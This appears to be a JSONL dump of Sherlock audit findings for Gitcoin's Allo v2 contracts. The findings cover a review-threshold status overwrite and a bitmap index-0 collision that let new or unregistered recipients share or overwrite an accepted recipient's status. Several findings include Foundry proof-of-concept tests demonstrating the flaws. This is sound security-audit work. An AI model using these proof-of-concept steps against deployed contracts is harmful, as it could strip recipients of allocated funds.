Snippet\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254C1-L288C6](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254C1-L288C6)\n\n```solidity\nfile: QVBaseStrategy.sol\n function reviewRecipients(address[] calldata _recipientIds, Status[] calldata _recipientStatuses)\n external\n virtual\n onlyPoolManager(msg.sender)\n onlyActiveRegistration\n {\n // make sure the arrays are the same length\n uint256 recipientLength = _recipientIds.length;\n if (recipientLength != _recipientStatuses.length) revert INVALID();\n\n for (uint256 i; i < recipientLength;) {\n Status recipientStatus = _recipientStatuses[i];\n address recipientId = _recipientIds[i];\n\n // if the status is none or appealed then revert\n if (recipientStatus == Status.None || recipientStatus == Status.Appealed) { //@audit these are the input parameter statuse not the recipient's status.\n revert RECIPIENT_ERROR(recipientId);\n }\n\n reviewsByStatus[recipientId][recipientStatus]++;\n\n --> if (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) { //@audit recipientStatus is updated right after the threshold is reached. It can overwrite if the status is already set.\n Recipient storage recipient = recipients[recipientId];\n recipient.recipientStatus = recipientStatus;\n\n emit RecipientStatusUpdated(recipientId, recipientStatus, address(0));\n }\n\n emit Reviewed(recipientId, recipientStatus, msg.sender);\n\n unchecked {\n ++i;\n }\n }\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nChecking the review counts before updating the state might be helpful to mitigate this issue","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//015-M/699-best.md"}} +{"title":"In `QVSimpleStrategy.reviewRecipients()` the last review that matches or crosses the `reviewThreshold` will determine the final status of the recipient","severity":"medium","body":"Dandy Lavender Wombat\n\nhigh\n\n# In `QVSimpleStrategy.reviewRecipients()` the last review that matches or crosses the `reviewThreshold` will determine the final status of the recipient\n Not the most votes for a particular status determine the final status of a recipient but the last status that matches or crosses the `reviewThreshold`\n\n\n## Vulnerability Detail\n\nIn ` QVSimpleStrategy ` to ensure additional safety, multiple poolManagers need to review one applicant before he can be accepted. The number of revies to a particular recommendation (accepted or rejected ) must be equal or exceed the set `reviewThreshold`. This safeguard it in place to make sure that multiple poolManager take a look at the same recipient. The problem arises from the way the status of a recipient is changed when a poolManager revies him. The number of `reviewsByStatus` for the review the poolManager is giving for the recipient is increased by one and then it is checked if the increased number is `>= reviewThreshold`. If so the status of the recipient is change to the status that is given by the poolManager. This means that even if more poolManager ā€œvoteā€ for a recipient to be rejected, he will be accepted if the last manager reviewing the recipient ā€œvotesā€ for accepted and the number of `reviewsByStatus` is `>= reviewThreshold`.\n\nExample:\n\nAlice registers as a repipient in a QVSimpleStrategy. The `reviewThreshold` is set to 2 and already 5 poolManager have ā€œvotedā€ for Allice to be `accepted` but only one `voted` for Alice to be `rejected`. The status of Alice is currently set to `accepted`. Now Bob revies Alice and ā€œvotesā€ for `rejected` increasing Aliceā€™s `reviewsByStatus` to 2. Since this 2 votes are `>= reviewThreshold`, the status of Alice is changed to `rejected` even though more poolManager ā€œvotedā€ for Alice to be accepted.\n\n\n## Impact\n\nRecipients that should have been rejected/accepted will end up being accepted/rejected even so they should have not been. \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254-L288\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nWhen the number of `reviewsByStatus` for a particular status becomes `>= reviewThreshold`, compare the number of `reviewsByStatus` of the current vote with the number of `reviewsByStatus` of the recipients current status. If the number of `reviewsByStatus` of the current vote is bigger than the number of `reviewsByStatus` of the recipients current status, then change the status, otherwise keep the recipients status the same.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//015-M/600.md"}} +{"title":"Recipients status malfunctions in QV Strategies","severity":"medium","body":"Digital Berry Horse\n\nmedium\n\n# Recipients status malfunctions in QV Strategies\nIf we have a review threshold of 2 when using _reviewRecipients()_, a recipient will be _rejected_ with two rejections from pool managers. But, if he then gets 2 acceptations, his status will change to _accepted_, even if he already was _rejected_ . We also have to take into account that the recipient is _accepted_ with the same amount of rejections and acceptations.\n## Vulnerability Detail\nLet's say we have a _reviewThreshold_ of 2. If 2 pool managers review a recipient and reject it, his status will be _rejected_, which shouldn't change. After that, another 2 pool managers review the recipient and accept it. His status will change to _accepted_. This shouldn't be possible because he already was rejected, and most importantly because _numberOfRejections == numberOfAcceptations_. Here is a PoC:\n\n function test_reviewRecipientsMalfunctioning() public {\n address recipientId = __register_recipient();\n\n address[] memory recipientIds = new address[](1);\n recipientIds[0] = recipientId;\n IStrategy.Status[] memory Statuses = new IStrategy.Status[](1);\n Statuses[0] = IStrategy.Status.Rejected;\n IStrategy.Status[] memory AcceptedStatuses = new IStrategy.Status[](1);\n AcceptedStatuses[0] = IStrategy.Status.Accepted;\n\n // We reject the recipient 2 times, with a reviewThreshold == 2\n vm.startPrank(pool_manager1());\n qvStrategy().reviewRecipients(recipientIds, Statuses);\n\n vm.startPrank(pool_manager2());\n qvStrategy().reviewRecipients(recipientIds, Statuses);\n\n // The recipient has been rejected\n QVBaseStrategy.Recipient memory recipientRejected = qvStrategy().getRecipient(recipientId);\n assertEq(uint8(IStrategy.Status.Rejected), uint8(recipientRejected.recipientStatus));\n\n // This recipient should be rejected, because has 2 rejections\n // If he now gets 2 acceptations, we will be accepted, even if numOfRejections == numOfAccepts \n vm.startPrank(pool_manager1());\n qvStrategy().reviewRecipients(recipientIds, AcceptedStatuses);\n\n vm.startPrank(pool_manager2());\n qvStrategy().reviewRecipients(recipientIds, AcceptedStatuses);\n\n // After 2 acceptations, his status changes to Accepted\n QVBaseStrategy.Recipient memory recipientAccepted = qvStrategy().getRecipient(recipientId);\n assertEq(uint8(IStrategy.Status.Accepted), uint8(recipientAccepted.recipientStatus));\n }\n\n## Impact\nRecipients may end up having a _status_ they shouldn't, leading to unexpected behaviour.\n## Code Snippet\nReview recipients functions in QV Strategies: \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L249-L288\n## Tool used\n\nManual Review and Foundry\n\n## Recommendation\nDon't let to review a recipient that already got _rejected_ or _accepted_.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//015-M/332.md"}} +{"title":"Existing RecipientId Status can be Overwritten in DonationVoting Strategy, causing loss of allocation funds for accepted recipients","severity":"medium","body":"Low Mandarin Wolverine\n\nhigh\n\n# Existing RecipientId Status can be Overwritten in DonationVoting Strategy, causing loss of allocation funds for accepted recipients\nIn `DonationVotingMerkleDistributionBaseStrategy.sol`, a registered recipient status can be easily overwritten by a new recipient due to incorrect logic of current status retrieval and recipient counter update.\n\nAs a result, an existing `recipientId` status can be accidentally rewritten during a new recipient registration process. The existing `recipientId` will lose the allocation funds if their status has been accepted and then subsequently overwritten. This process can also be maliciously exploited to intentionally cause recipients to lose on allocation funds. \n\n## Vulnerability Detail\nIn `DonationVotingMerkleDistributionBaseStrategy.sol`, a recipient status is stored in bitmap and the correct fetching of their status depends on getting the correct index of bitmap. However, this is not implemented correctly in `_registerRecipient()`.\n\n`_registerRecipient()` allows both new registration of recipients and status updates of existing recipients. If the caller is a new recipient, their `recipientId` will be registered and their status will be `Pending`. If the caller is an existing recipient, their existing status can be updated from `Accepted` to `Pending`, or `Rejected` to `Appealed`. The way `_registerRecipient()` determines whether the caller is a new or existing recipient is to check their `currentStatus` in the bitmap, if `None` then it determines the call is a new registration, otherwise it determines the call from an existing register. \n\nThere are two problems at work here: (1) `currentStatus` will not be fetched correctly if there is at least one existing recipient before current registration; (2) When the first-ever recipient registers, their `recipientsCounter` will be '0', when combined with (1), will allow subsequent recipients to overwrite the first recipient's status.\n\nSpecifically, when a new caller registers, whether a `RegistryAnchor` is used or not, `_getUintRecipientStatus()` will be called to fetch their status, which under the hood calls `_getStatusRowColumn()`. This function directly accesses `recipientToStatusIndexes` mapping with `_recipientId` and this will return the default '0' as `recipientIndex` when the caller is new. This tells `_getUnitRecipientStatus()` to get the status from the bitmap at location '0'. When this is the first-ever registration, location '0' will return `Status.None`, this will correctly direct `_regiterRecipient()` to identify the call as a new registration and update `recipientToStatusIndexes[recipientId]` to '0' - the default value for `recipientsCounter`. And then set the status at location '0' to `Status.Pending`. \n\n```solidity\n//DonationVotingMerkleDistributionBaseStrategy.sol\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActiveRegistration\n returns (address recipientId)\n {\n...\n Recipient storage recipient = _recipients[recipientId];\n // update the recipients data\n recipient.recipientAddress = recipientAddress;\n recipient.metadata = metadata;\n recipient.useRegistryAnchor = useRegistryAnchor ? true : isUsingRegistryAnchor;\n|> uint8 currentStatus = _getUintRecipientStatus(recipientId);\n...\n```\n```solidity\n//DonationVotingMerkleDistributionBaseStrategy.sol\n function _getUintRecipientStatus(address _recipientId) internal view returns (uint8 status) {\n // Get the column index and current row\n (, uint256 colIndex, uint256 currentRow) = _getStatusRowColumn(_recipientId);\n // Get the status from the 'currentRow' shifting by the 'colIndex'\n status = uint8((currentRow >> colIndex) & 15);\n // Return the status\n return status;\n }\n```\n```solidity\n//DonationVotingMerkleDistributionBaseStrategy.sol\n function _getStatusRowColumn(address _recipientId) internal view returns (uint256, uint256, uint256) {\n|> uint256 recipientIndex = recipientToStatusIndexes[_recipientId];\n uint256 rowIndex = recipientIndex / 64; // 256 / 4\n uint256 colIndex = (recipientIndex % 64) * 4;\n return (rowIndex, colIndex, statusesBitMap[rowIndex]);\n }\n```\nHowever, when the next caller calls to register. Since their `recipientId`is new, `recipientToStatusIndexes` mapping will also return default '0' as their index which directs `_getUnitRecipientStatus()` will again look at the status at location '0' - now the first recipient's status. This is incorrect. And if the first recipient's status is still `Status.Pending`. The bitmap will not update. But if the first recipient's status has been upgraded to `Status.Accepted` by the pool manager. This will redirect `_registerRecipient()` to mistakenly identify the call as an existing registration and will change `Status.Accepted` to `Status.Pending`, effectively overwriting the previous recipient's status.\n```solidity\n//DonationVotingMerkleDistributionBaseStrategy.sol\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActiveRegistration\n returns (address recipientId)\n {\n...\n if (currentStatus == uint8(Status.None)) {\n // recipient registering new application\n |> recipientToStatusIndexes[recipientId] = recipientsCounter;\n _setRecipientStatus(recipientId, uint8(Status.Pending));\n bytes memory extendedData = abi.encode(_data, recipientsCounter);\n emit Registered(recipientId, extendedData, _sender);\n recipientsCounter++;\n } else {\n if (currentStatus == uint8(Status.Accepted)) {\n // recipient updating accepted application\n _setRecipientStatus(recipientId, uint8(Status.Pending));\n } else if (currentStatus == uint8(Status.Rejected)) {\n // recipient updating rejected application\n _setRecipientStatus(recipientId, uint8(Status.Appealed));\n }\n...\n```\nThis mistake will disqualify the first recipient's funds allocation. As we see, in `_allocate` there is a check to ensure that only if a recipient's status is `Accepted` can they receive allocation funds. In `DonationVotingMerkleDistributionDirectTransferStrategy.sol` ,the actual funds transfer takes place in `_afterAllocate()` hook, which means when an accepted recipient will lose on allocation funds.\n\n```solidity\n//DonationVotingMerkleDistributionBaseStrategy.sol\n function _allocate(bytes memory _data, address _sender) internal virtual override onlyActiveAllocation {\n...\n // If the recipient status is not 'Accepted' this will revert, the recipient must be accepted through registration\n if (Status(_getUintRecipientStatus(recipientId)) != Status.Accepted) {\n revert RECIPIENT_ERROR(recipientId);\n }\n...\n```\nHere are (2) POC tests:\n(1) Shows a previously accepted recipient status gets overwritten by a new registration.\n```solidity\n//test/foundry/strategies/DonationVotingMerkleDistributionBase.t.sol\n function test_register_second_time_overwrite_first_recipient_status() public {\n address recipientId = __register_accept_recipient();\n IStrategy.Status recipientStatus = strategy.getRecipientStatus(recipientId);\n assertEq(uint8(recipientStatus), uint8(IStrategy.Status.Accepted));\n address recipientId2 = __register_recipient2();\n recipientStatus = strategy.getRecipientStatus(recipientId);\n assertEq(uint8(recipientStatus), uint8(IStrategy.Status.Pending));\n IStrategy.Status recipientStatus2 = strategy.getRecipientStatus(recipientId2);\n assertEq(uint8(recipientStatus), uint8(IStrategy.Status.Pending));\n }\n```\n```bash\nRunning 1 test for test/foundry/strategies/DonationVotingMerkleDistributionBase.t.sol:DonationVotingMerkleDistributionBaseMockTest\n[PASS] test_register_second_time_overwrite_first_recipient_status() (gas: 314716)\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 26.42ms\n \nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\n```\n(2) Shows in the context of `DonationVotingMerkleDistributionDirectTransferStrategy.sol`, a previously accepted recipient's status is overwritten and loss of allocation funds. There are two tests - a success and a failure case for comparison. \n```solidity\n//test/foundry/strategies/DonationVotingMerkleDistributionDirectTransferStrategy.t.sol\n//Success case\n function test_allocate_1st_recipient_allocation_succeed() public {\n uint256 balanceBefore = recipientAddress().balance;\n //1st recipient register and gets accepted\n address recipientId = __register_accept_recipient();\n IStrategy.Status recipientStatus = strategy.getRecipientStatus(recipientId);\n assertEq(uint8(recipientStatus), uint8(IStrategy.Status.Accepted));\n //randomAddress allocate 1e18 to 1st recipient\n DonationVotingMerkleDistributionBaseStrategy.Permit2Data memory permit2Data =\n DonationVotingMerkleDistributionBaseStrategy.Permit2Data({\n permit: ISignatureTransfer.PermitTransferFrom({\n permitted: ISignatureTransfer.TokenPermissions({token: NATIVE, amount: 1e18}),\n nonce: 0,\n deadline: allocationStartTime + 10000\n }),\n signature: \"\"\n });\n\n vm.warp(allocationStartTime + 1);\n vm.deal(randomAddress(), 1e18);\n vm.prank(randomAddress());\n\n vm.expectEmit(false, false, false, true);\n emit Allocated(recipientId, 1e18, NATIVE, randomAddress());\n\n allo().allocate{value: 1e18}(poolId, abi.encode(recipientId, permit2Data));\n uint256 balanceAfter = recipientAddress().balance;\n //1st recipient received 1e18 allocation\n assertEq(balanceAfter - balanceBefore, 1e18);\n }\n//Fail case\n function test_allocate_1st_recipient_accepted_2nd_recipient_overwrrite_allocation_failed() public {\n uint256 balanceBefore = recipientAddress().balance;\n //1st recipient register and gets accepted\n address recipientId = __register_accept_recipient();\n IStrategy.Status recipientStatus = strategy.getRecipientStatus(recipientId);\n assertEq(uint8(recipientStatus), uint8(IStrategy.Status.Accepted));\n //2nd recipient register\n address recipientId2 = __register_recipient2();\n recipientStatus = strategy.getRecipientStatus(recipientId);\n //1st recipient status was overwritten by 2nd recipient. status: accepted->pending.\n assertEq(uint8(recipientStatus), uint8(IStrategy.Status.Pending));\n //2nd recipient status was in fact the 1st recipient status- also pending.\n IStrategy.Status recipientStatus2 = strategy.getRecipientStatus(recipientId2);\n assertEq(uint8(recipientStatus), uint8(IStrategy.Status.Pending));\n //randomAddress allocate 1e18 to 1st recipient but Reverted due to 1st recipient status was overwritten\n DonationVotingMerkleDistributionBaseStrategy.Permit2Data memory permit2Data =\n DonationVotingMerkleDistributionBaseStrategy.Permit2Data({\n permit: ISignatureTransfer.PermitTransferFrom({\n permitted: ISignatureTransfer.TokenPermissions({token: NATIVE, amount: 1e18}),\n nonce: 0,\n deadline: allocationStartTime + 10000\n }),\n signature: \"\"\n });\n vm.warp(allocationStartTime + 1);\n vm.deal(randomAddress(), 1e18);\n vm.prank(randomAddress());\n //allocation reverted\n vm.expectRevert(abi.encodePacked(RECIPIENT_ERROR.selector, uint256(uint160(recipientId))));\n allo().allocate{value: 1e18}(poolId, abi.encode(recipientId, permit2Data));\n }\n\n\n```\n\n```bash\nRunning 2 tests for test/foundry/strategies/DonationVotingMerkleDistributionDirectTransferStrategy.t.sol:DonationVotingMerkleDistributionDirectTransferStrategyTest\n[PASS] test_allocate_1st_recipient_accepted_2nd_recipient_overwrrite_allocation_failed() (gas: 376623)\n[PASS] test_allocate_1st_recipient_allocation_succeed() (gas: 303662)\nTest result: ok. 2 passed; 0 failed; 0 skipped; finished in 26.35ms\n \nRan 1 test suites: 2 tests passed, 0 failed, 0 skipped (2 total tests)\n```\n\n## Impact\nAs detailed above, existing accepted recipients eligible for rewards will lose their allocation funds due to status overwritten by new registration. In addition, a malicious user can repeatedly register new recipients to intentionally overwrite the existing eligible recipient causing a loss of funds. I think this is high severity, due to the easy and cheap attack, and the damage can be done also accidentally causing loss of funds and unfair review and allocation process.\n\n## Code Snippet\n[https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L580-L597](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L580-L597)\n\n## Tool used\n\nManual Review\n\n## Recommendation\nIn `_registerRecipient`, consider increment `recipientsCounter` before assigning it to `recipientToStatusIndexes` such that the first valid index would be 1 instead of 0. This way '0' location in the bitmap will only be accessed for identifying new registrants.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//014-M/952.md"}} +{"title":"In DonationVotingMerkleDistributionBaseStrategy `_registerRecipient` wrongly sets the recipient after the first one","severity":"medium","body":"Flat Sapphire Platypus\n\nhigh\n\n# In DonationVotingMerkleDistributionBaseStrategy `_registerRecipient` wrongly sets the recipient after the first one\nIn DonationVotingMerkleDistributionBaseStrategy `_registerRecipient` wrongly sets the recipient after the first one, instead of giving the new recipient its own address it rather checks the value of whatever is already at zero index, if it is not none, instead of registering it simply skips, so no more than one recipient can be set.\n## Vulnerability Detail\nLook at the following code snippet in _registerRecipient;\n\n```solidity\n uint8 currentStatus = _getUintRecipientStatus(recipientId);\n```\n\nSo we get the current status using the function which for the first recipient will always be zero.\n\nAnd it will be set righlty on index zero.\n\nBut if we try to again register the new recipient what will happen lets look at the above getter function:\n\nlets say the index 0 is registers for alex for address(1)\n\nNot we register the bob for with address(2), so he will have by default all the values zero:\n\n```solidity\n function _getUintRecipientStatus(address _recipientId) internal view returns (uint8 status) {\n // Get the column index and current row\n// @audit colIndex for the bob will be returned zero too\n (, uint256 colIndex, uint256 currentRow) = _getStatusRowColumn(_recipientId);\n\n \n\n// @audit - here we shift by zero hence row remain same, and we get the status at index 0 for the bob, which is the status for the alice set to 0001, but for bob we should have returned the 0000\n status = uint8((currentRow >> colIndex) & 15);\n\n // Return the status\n return status;\n }\n```\nAs above status returned is 0001 of alice for bob instead of 0000, bob is never registered, and everything in else is skipped:\n\n```solidity\n if (currentStatus == uint8(Status.None)) {\n // recipient registering new application\n recipientToStatusIndexes[recipientId] = recipientsCounter;\n _setRecipientStatus(recipientId, uint8(Status.Pending));\n\n bytes memory extendedData = abi.encode(_data, recipientsCounter);\n emit Registered(recipientId, extendedData, _sender);\n\n recipientsCounter++;\n } else {\n \n if (currentStatus == uint8(Status.Accepted)) {\n // recipient updating accepted application\n _setRecipientStatus(recipientId, uint8(Status.Pending));\n } else if (currentStatus == uint8(Status.Rejected)) {\n // recipient updating rejected application\n _setRecipientStatus(recipientId, uint8(Status.Appealed));\n }\n emit UpdatedRegistration(recipientId, _data, _sender, _getUintRecipientStatus(recipientId));\n }\n```\n\nSo the counter is never increase too. Because none is not returned and if is skipped.\n\n\n\n\n\n## Impact\nNo more than 1 recipient can be registered, and only one index is used making the protocol whole usecase useless, probably skipped as the test cases only test for one recipient addition.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L528-L601\n## Tool used\n\nManual Review\n\n## Recommendation\nWIll have to rewrite some parts to return zero for the non-registered users and rightly calculate the index and status.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//014-M/915.md"}} +{"title":"In DonationVotingMerkleDistributionBaseStrategy._registerRecipient, the status returned by _getUintRecipientStatus(recipientId) is always the status of the first recipient","severity":"medium","body":"Furry Cider Panda\n\nmedium\n\n# In DonationVotingMerkleDistributionBaseStrategy._registerRecipient, the status returned by _getUintRecipientStatus(recipientId) is always the status of the first recipient\n\n[[recipientToStatusIndexes](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L194)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L194) is `mapping(address => uint256)`, which means `'recipientId' => 'statusIndex'`.Ā **In solidity, uninitialized variables are all 0**. If `_recipientId` is a new id, then `recipientToStatusIndexes[_recipientId]` must be 0. Then `(rowIndex, colIndex, statusesBitMap[rowIndex])` returned by [[_getStatusRowColumn(newRecipientId)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L833-L840)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L833-L840) must be equal to `(0, 0, statusesBitMap[0])`. [[statusesBitMap](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L190)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L190) is `mapping (uint256 => uint256)`, `statusesBitMap[0]` represents row 0, `statusesBitMap[1]` represents row 1, and so on. `uint256` represents the status of 64 ids, 4 bits for each status.\n\nThe current implementation of [[_registerRecipient](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L580-L600)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L580-L600) will cause the following problems:\n\nAfter the first recipientId is successfully registered, it occupies the status of `(row0, col0)`, whose value is modified to `Status.Pending`. Subsequent recipientIds will use the status of the first recipientId, which means that all recipientIds share the status of `(row0, col0)`.\n\n## Vulnerability Detail\n\n```solidity\nFile: contracts\\strategies\\donation-voting-merkle-base\\DonationVotingMerkleDistributionBaseStrategy.sol\n819: function _getUintRecipientStatus(address _recipientId) internal view returns (uint8 status) {\n820: // Get the column index and current row\n821:-> (, uint256 colIndex, uint256 currentRow) = _getStatusRowColumn(_recipientId);\n822: \n823: // Get the status from the 'currentRow' shifting by the 'colIndex'\n824: status = uint8((currentRow >> colIndex) & 15);\n825: \n826: // Return the status\n827: return status;\n828: }\n......\n833: function _getStatusRowColumn(address _recipientId) internal view returns (uint256, uint256, uint256) {\n834:-> uint256 recipientIndex = recipientToStatusIndexes[_recipientId];\n835: \n836: uint256 rowIndex = recipientIndex / 64; // 256 / 4\n837: uint256 colIndex = (recipientIndex % 64) * 4;\n838: \n839: return (rowIndex, colIndex, statusesBitMap[rowIndex]);\n840: }\n```\n\nL834, if `_recipientId` is a new id, then `recipientIndex` must be 0, which causes L839 to return `(0, 0, statusesBitMap[0])`.\n\nL824, `status` is equal to the first 4 bit value of `statusesBitMap[0]`, which is the status of column 0.\n\nLet's go back to the flow of the `_registerRecipient` function:\n\n```solidity\nFile: contracts\\strategies\\donation-voting-merkle-base\\DonationVotingMerkleDistributionBaseStrategy.sol\n528: function _registerRecipient(bytes memory _data, address _sender)\n...... \n580:-> uint8 currentStatus = _getUintRecipientStatus(recipientId);\n581: \n582: if (currentStatus == uint8(Status.None)) {\n583: // recipient registering new application\n584: recipientToStatusIndexes[recipientId] = recipientsCounter;\t//@audit recipientsCounter starts from 0.\n585: _setRecipientStatus(recipientId, uint8(Status.Pending));\n586: \n587: bytes memory extendedData = abi.encode(_data, recipientsCounter);\n588: emit Registered(recipientId, extendedData, _sender);\n589: \n590: recipientsCounter++;\n591: } else {\n592: if (currentStatus == uint8(Status.Accepted)) {\n593: // recipient updating accepted application\n594: _setRecipientStatus(recipientId, uint8(Status.Pending));\n595: } else if (currentStatus == uint8(Status.Rejected)) {\n596: // recipient updating rejected application\n597: _setRecipientStatus(recipientId, uint8(Status.Appealed));\n598: }\n599: emit UpdatedRegistration(recipientId, _data, _sender, _getUintRecipientStatus(recipientId));\n600: }\n601: }\n```\n\n**Assume the first recipientId (A)**:\n\nL580, `_getUintRecipientStatus(A)` returns the status of `(row0, col0)`, whose value is Status.None (0).\n\nL583-590 block is executed. Since `recipientsCounter` has not been initialized (0), `recipientsToStatusIndexes[A] = recipientsCounter = 0`, andĀ  `recipientsCounter++` is equal to 1. The status of `(row0, col0)` is the status of A, which is set to `Status.Pending` by [[_setRecipientStatus](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L805-L814)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L805-L814).\n\n**Assume the second recipientId (B)**:\n\nL580, according to the previous analysis, the status returned is still the status of `(row0, col0)`, which is the status of A (equal to `Status.Pending`).\n\nL592-599 block is executed.\n\nTherefore, subsequent recipientIds execute the L592-599 block instead of the L583-590 block, which means that all recipientIds use the status of `(row0, col0)`.\n\n## Impact\n\nThe recipientId that is actually registered is the first one, and the others are not registered successfully. Although other recipientIds can use the status of the first recipientId.\n\n- Off-chain programs can only collect one `Registered` event and multiple `UpdatedRegistration` events. This makes the pool manager not know how to call [[reviewRecipients](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L341)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L341) at all because the review process is done manually off-chain.\n- If the status of the first recipient is set to `Status.Accepted`, the status of all recipients is also `Status.Accepted`.\n- `_registerRecipient` function does not work as expected, which severely breaks the functionality of the DonationVotingMerkleDistributionBaseStrategy contract. `registerRecipient` is a very important phrase of the protocol.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L580\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L833-L840\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIt is recommended to initialize `recipientsCounter` to 1 in the constructor, 0 cannot be used. In this way, the status of `(row0,col0)` is always `Status.None` (0). The new recipientId will execute the L583-590 block.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//014-M/463.md"}} +{"title":"Unregistered recipients in DonationVotingMerkleDistributionBaseStrategy will have the status of the 0th recipient","severity":"medium","body":"Sneaky Amethyst Robin\n\nhigh\n\n# Unregistered recipients in DonationVotingMerkleDistributionBaseStrategy will have the status of the 0th recipient\n\nUnregistered recipients will have the default status index of 0, which is a valid index that will apply to the initial recipient to register. As a result, all unregistered recipients will have the same status as the initial recipient and can bypass registration to have special access to protected logic.\n\n## Vulnerability Detail\n\nWhen a user calls `registerRecipient` for the first time, we set their `recipientToStatusIndexes` to the current `recipientsCounter` and we set their status at that index in the `statusesBitMap`. The problem with this is that if a user hasn't registered, when their recipient status is checked, it checks their index in the `recipientToStatusIndexes` mapping, which since the user doesn't have an index set in this mapping yet, it returns 0. The 0 index is of course a valid index in the `statusesBitMap`, so the returned status is that of the 0th registered recipient.\n\nIf the 0th registered recipient has been accepted, every address to interact with the protocol without registering will be marked as accepted and have special access like being allocated to. These unregistered users will also have the accepted status returned when their address is queried in `getRecipientStatus`, which they may use to convince the pool manager to include their address in distribution.\n\n## Impact\n\nAll unregistered users have the same recipient status as the 0th recipient, giving them unintended special privilege to contract logic.\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L819\n```solidity\n/// @notice Get recipient status\n/// @param _recipientId ID of the recipient\n/// @return status The status of the recipient\nfunction _getUintRecipientStatus(address _recipientId) internal view returns (uint8 status) {\n // Get the column index and current row\n (, uint256 colIndex, uint256 currentRow) = _getStatusRowColumn(_recipientId);\n\n // Get the status from the 'currentRow' shifting by the 'colIndex'\n status = uint8((currentRow >> colIndex) & 15);\n\n // Return the status\n return status;\n}\n\n/// @notice 